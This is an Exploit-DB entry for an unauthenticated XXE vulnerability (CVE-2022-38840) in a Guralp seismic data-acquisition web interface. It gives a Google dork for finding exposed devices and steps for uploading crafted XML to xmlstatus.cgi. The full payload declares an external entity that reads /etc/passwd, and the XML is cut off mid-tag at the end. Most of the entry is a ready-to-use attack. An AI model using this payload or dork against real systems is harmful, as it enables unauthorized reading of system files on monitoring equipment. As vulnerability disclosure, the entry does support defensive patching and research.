Exploit-DB #51037
Description: MAN-EAM-0003 V3.2.4 - XXE
Type: webapps
Platform: xml
Date: 2023-03-23
Author: Ahmed Alroky

Exploit:
# Exploit Title: MAN-EAM-0003 V3.2.4 - XXE
# Date: 2022-09-19
# Exploit Author: Ahmed Alroky
# Author: http://guralp.com/
# Version: 3.2.4
# Authentication Required: NO
# CVE :   CVE-2022-38840
# Google dork: " webconfig menu.cgi "
# Tested on: Windows


# Exploit

1 - browse to http://<Host<http://%3cHost> name>/cgi-bin/xmlstatus.cgi
2 - click on "View saved XML snapshot" and upload XML exploit file or paste the exploit code and submit the form
3 - you will get /etc/passwd file content

#XML exploit code

```
<?xml version='1.0'?>
<!DOCTYPE replace [<!ENTITY example SYSTEM "file:///etc/passwd"> ]>
<xml-status xmlns='http://www.guralp.com/platinum/xmlns/xmlstatus/1.1'>
<module status='-1' display-primary='true' path='das' title='Data acquisition'>
<reading status='100' display-primary='false' path='is_faulty'
    title='Fault condition'>false</reading>
<reading status='-1' display-primary='false' path='dsp_tag'
    title='DSP code tag'>platinum</reading>
<reading status='-1' display-primary='false' path='dsp_version'
    title='DSP code version'>102</reading>
<reading status='100' display-primary='true' path='dsp_state'
    title='Acquisition hardware module'>running</reading>
<reading status='-1' display-primary='true' path='reference_clock'
    title='Reference clock type'>GPS</reading>
<reading status='100' display-primary='false' path='clock_controller'
    title='ADC clock controller state'>FLL</reading>
<reading status='-1' display-primary='false' path='clock_control_val'
    title='ADC clock controller value'>46196</reading>
<reading status='100' display-primary='true' path='clock_locked'
    title='ADC clock locked'>true</reading>
<reading status='-1' display-primary='true' path='clock_last_locked'
    title='ADC clock last locked at'>2022-06-14T11:26:53Z</reading>
<reading status='100' display-primary='true' path='clock_phase_error' units='s'
    title='ADC clock phase error'>6.1e-08</reading>
</module>
<module status='-1' display-primary='true' path='das-in.sensor.DONB..TM.0' title='Sensor A'>
<reading status='100' display-primary='true' path='state'
    title='Current state'>running</reading>
<reading status='-1' display-primary='true' path='last_action_time'
    title='Last action timestamp'>never</reading>
<reading status='-1' display-primary='true' path='last_action'
    title='Last action'></reading>
<reading status='96' display-primary='true' path='mass_Z'
    title='Z mass position'>4.6%</reading>
<reading status='100' display-primary='true' path='mass_N'
    title='N mass position'>-0.3%</reading>
<reading status='100' display-primary='true' path='mass_E'
    title='E mass position'>-0.3%</reading>
</module>
<module status='-1' display-primary='true' path='das-in.sensor.DONB..TM.1' title='Sensor B'>
<reading status='100' display-primary='true' path='state'
    title='Current state'>running</reading>
<reading status='-1' display-primary='true' path='last_action_time'
    title='Last action timestamp'>never</reading>
<reading status='-1' display-primary='true' path='last_action'
    title='Last action'></reading>
</module>
<module status='-1' display-primary='true' path='das-in.sensor.DONB..TM.X' title='Auxiliary'>
<reading status='100' display-primary='true' path='state'
    title='Current state'>running</reading>
<reading status='-1' display-primary='true' path='last_action_time'
    title='Last action timestamp'>never</reading>
<reading status='-1' display-primary='true' path='last_action'
    title='Last action'></reading>
</module>
<module status='-1' display-primary='true' path='gcf-out-scream.default' title='Scream server (GCF network sender)'>
<reading status='100' display-primary='true' path='total_blocks'
    title='Total number of blocks sent'>11374055</reading>
<reading status='100' display-primary='true' path='last5_blocks'
    title='Number of blocks sent in last 5 minutes'>331</reading>
<reading status='-1' display-primary='false' path='port_number'
    title='Port listening on'>1567</reading>
<reading status='-1' display-primary='true' path='num_clients'
    title='Number of clients connected'>0</reading>
<list status='-1' display-primary='true' path='clients' title='Clients'>
</list>
</module>
<module status='-1' display-primary='false' path='gdi-base.default' title='Default data transport daemon'>
<reading status='100' display-primary='true' path='num_channels'
    title='Number of channels'>16</reading>
<reading status='100' display-primary='true' path='num_clients'
    title='Number of connected clients'>5</reading>
<reading status='100' display-primary='true' path='num_samples'
    title='Number of samples received'>[PII_REDACTED]</reading>
<reading status='100' display-primary='true' path='last5_samples'
    title='Number of samples in last 5 minutes'>213600</reading>
<list status='-1' display-primary='false' path='clients' title='Clients'>
<list-item status='-1' display-primary='false' path='44B02216' title='Client #1'>
<reading status='-1' display-primary='false' path='name'
    title='Client name'>gdi2gcf[default]</reading>
</list-item>
<list-item status='-1' display-primary='false' path='1CC104A5' title='Client #2'>
<reading status='-1' display-primary='false' path='name'
    title='Client name'>gdi-link-tx[default]</reading>
</list-item>
<list-item status='-1' display-primary='false' path='9D9E4553' title='Client #3'>
<reading status='-1' display-primary='false' path='name'
    title='Client name'>gdi2miniseed[default]</reading>
</list-item>
<list-item status='-1' display-primary='false' path='4B1427EC' title='Client #4'>
<reading status='-1' display-primary='false' path='name'
    title='Client name'>das-in</reading>
</list-item>
<list-item status='-1' display-primary='false' path='412FD3EB' title='Client #5'>
<reading status='-1' display-primary='false' path='name'
    title='Client name'>das-in-textstatus</reading>
</list-item>
</l